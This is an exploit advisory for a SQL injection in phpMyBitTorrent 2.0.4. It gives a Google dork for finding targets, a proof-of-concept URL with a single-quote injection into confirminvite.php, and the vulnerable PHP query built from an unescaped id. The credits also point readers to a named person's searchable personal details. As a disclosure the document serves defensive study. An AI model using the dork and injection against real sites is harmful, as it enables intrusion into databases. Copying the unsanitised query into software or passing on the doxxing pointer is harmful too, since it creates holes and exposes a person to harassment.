# Exploit Title: phpMyBitTorrent 2.0.4 SQL injection# Google Dork: inurl:"user.php?op=register"# Date: 14/FEB/2011# Author: #forkbombers@irc.smashthestack.org# Software Link: http://sourceforge.net/projects/phpmybittorrent/# Version: 2.0.4# Tested on: *nix----------------------------------------------------------------------[INFO]
Sadly although the Google dork returns 36,000 results for this to work the invitation
system needs to be enabled for this exploit to work. Fucking useless to me.----------------------------------------------------------------------[XPL]
localhost/torrents/confirminvite.php?id=1'
Error Executing SQL Query SELECT password, active FROM torrent_users WHERE id=----------------------------------------------------------------------[CODE][code]
$sql ="SELECT password, active FROM ".$db_prefix."_users WHERE id = $id";
$res = $db->sql_query($sql)or btsqlerror($sql);
$row = $db->sql_fetchrow($res);if(!$row)
bterror(_bterrusernotexists,_btsorry);if($row["active"]!='0'){
OpenTable(_btsignup);
echo "<p>"._btuseralreadyactive."</p>";
CloseTable();
include('footer.php')[/code]----------------------------------------------------------------------[CREDS]
Thanks to Gumbie@irc.efnet.org for letting me use his box to test :)
Fuck ak for being such a bitch (not really <3 u), btw his d0x are g00gleiz3d if you want to give him a call
----------------------------------------------------------------------
